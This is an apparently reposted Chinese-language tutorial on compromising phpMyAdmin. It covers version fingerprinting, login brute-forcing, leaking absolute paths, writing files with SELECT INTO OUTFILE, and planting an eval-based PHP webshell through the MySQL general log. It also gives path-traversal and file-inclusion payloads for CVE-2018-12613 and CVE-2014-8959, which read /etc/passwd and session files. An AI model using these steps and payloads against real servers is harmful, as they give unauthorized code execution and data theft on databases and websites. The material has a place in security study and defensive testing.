phpMyAdmin 滲透利用總結


簡介

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在於由於phpMyAdmin跟其他PHP程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。也可借由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性。

 

獲取phpmyadmin版本信息

 

 

 

或者

 

在網址根路徑 后面添加

 

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

(注意區分大小寫) 就可以看到 phpmyadmin 的相關版本信息了,這個方法也是通殺的,只要管理員不把他們刪掉。

 

 

 

 

 

 

phpMyAdmin常規getshell

1.可以看看網站是否存在注入利用注入出來的賬號密碼登錄
2.使用phpmyadmin爆破工具進行爆破進入后台

 

 

 

 

 

 

phpmyadmin直接寫入文件
先要知道根路徑利用錯誤爆路徑等,這里用phpinfo查看根路徑

 

獲取絕對路徑的方法

1.phpinfo()
2.出錯頁面
3.load_file讀取網站配置文件 如index.php /etc/passwd
4.查看數據庫表內容獲取 有一些cms會保存網站配置文件 或者路徑
5.進入后台
6.百度出錯信息 zoomeye shadon 搜索error warning
7. @@datadir參數看mysql路徑 反猜絕對路徑

 

可以通過寫shell進行提權,而我們需要滿足以下條件:

 

1.數據庫root權限
2.知道網站的物理路徑
3.數據庫有寫權限

 

MySQL 5.0+的版本會自動創建日志文件,那么在服務運行的情況下修改全局變量也是可以變動文件位置的,但是必須要對生成日志的目錄有可讀可寫的權限。(Linux環境下可能會比較苛刻,因為站點目錄是一個用戶,MySQL是另外一個用戶,權限管控較為嚴格,主要取決於權限配置是否得當)

 

1.首先我們測試站點是否有寫權限
執行sql語句 SHOW VARIABLES LIKE 'secure_file_priv'

 

 

secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
secure_file_priv的值為null ,表示限制mysql 不允許導入|導出
secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|導出只能發生在/tmp/目錄下
secure_file_priv的值沒有具體值時,表示不對mysql 的導入|導出做限制
可以在mysql-ini文件中設置其屬性

 

尷尬了,換一台機子,這是VPS懶得調

 

2.寫入 一句phpinfo文件

 

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

這里必須注意要雙反斜線,否則會轉義

 

 

 

 

成功寫入

 

 

利用日志getshell
into outfile被禁用的話 可以利用日志getshell,原理,phpmyadmin有一個記錄日志的文件,但是一般情況下會關閉,開啟日志記錄,然后設置日志記錄名稱為.php,隨便執行sql語句,只要包括一句話木馬就會被寫入到日志中去,然后就可以連接getshell

 

默認情況下是關閉的

 

 

 

 

 

第一步手動開啟日志。
set global  general_log='on'   //首先設置為on
第二步 修改日志路徑
set global  general_log_file ="d:\\phpstudy\\www\\a.php"
然后 查看是否開啟成功
show variables like "general_log%"

 

 

 

 

 

 

 

 

 

 

已成功
然后只要執行的語句都會寫入到日志文件中,所以我們查詢語句
select '<?php eval($_POST['a']);?>'
雖然報錯但已經寫進去了

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CVE-2016-5734 RCE

 

漏洞版本:

 

1、授權用戶;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6

 

主要原因由於將用戶輸入的信息拼接進preg_replace函數第一個參數中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0進行截斷,並將正則模式修改為e,進而執行命令。

Kali中有自帶的EXP

 

 

 

 這個pre_replace引發的漏洞在PHP版本4.3.0-5.4.6中能觸發,PHP 5.4.7后就不行了。phpmyadmin在4.6.3中修復了這個漏洞

 

 

 

 

 

CVE-2018-12613文件包含

 

漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一處文件包含邏輯

 

 

 

 

 

滿足以下5個條件

 

1、不為空  
2、字符串  
3、不以index開頭  
4、不在$target_blacklist這個黑名單中  
5、Core::checkPageValidity()函數為TRUE
進而通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

 

 

判斷是否存在漏洞經過二次編碼繞過
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 

 

 

 

然后在sql語句中執行一些語句記錄到日志,然后在包含即可
SELECT '<?php phpinfo()?>';
查詢phpmyadmin cookie值(開發者工具查看)

 

文件包含session文件,文件名為sess_ + cookie值
http://ip:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff71f85f0f365532b26a008bda74a9e5ad

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CVE-2014 -8959:本地文件包含
影響范圍:phpMyAdmin 4 .0.1--4 .2.12,需要PHP version < 5.3.4 ,Poc如下:

 

/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00

 

在實際利用中可以利用寫入文件到/tmp目錄下結合此漏洞完成RCE,php版本可以通過http header、導出表內容到文件的附加內容看到。

 

 

其他漏洞
CVE-2018-19968:任意文件包含/RCE

 

 

參考鏈接

https://mp.weixin.qq.com/s/9Tkcn2AtGrHUsIbRCQ-ZSQ

 

 

 

 

 

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM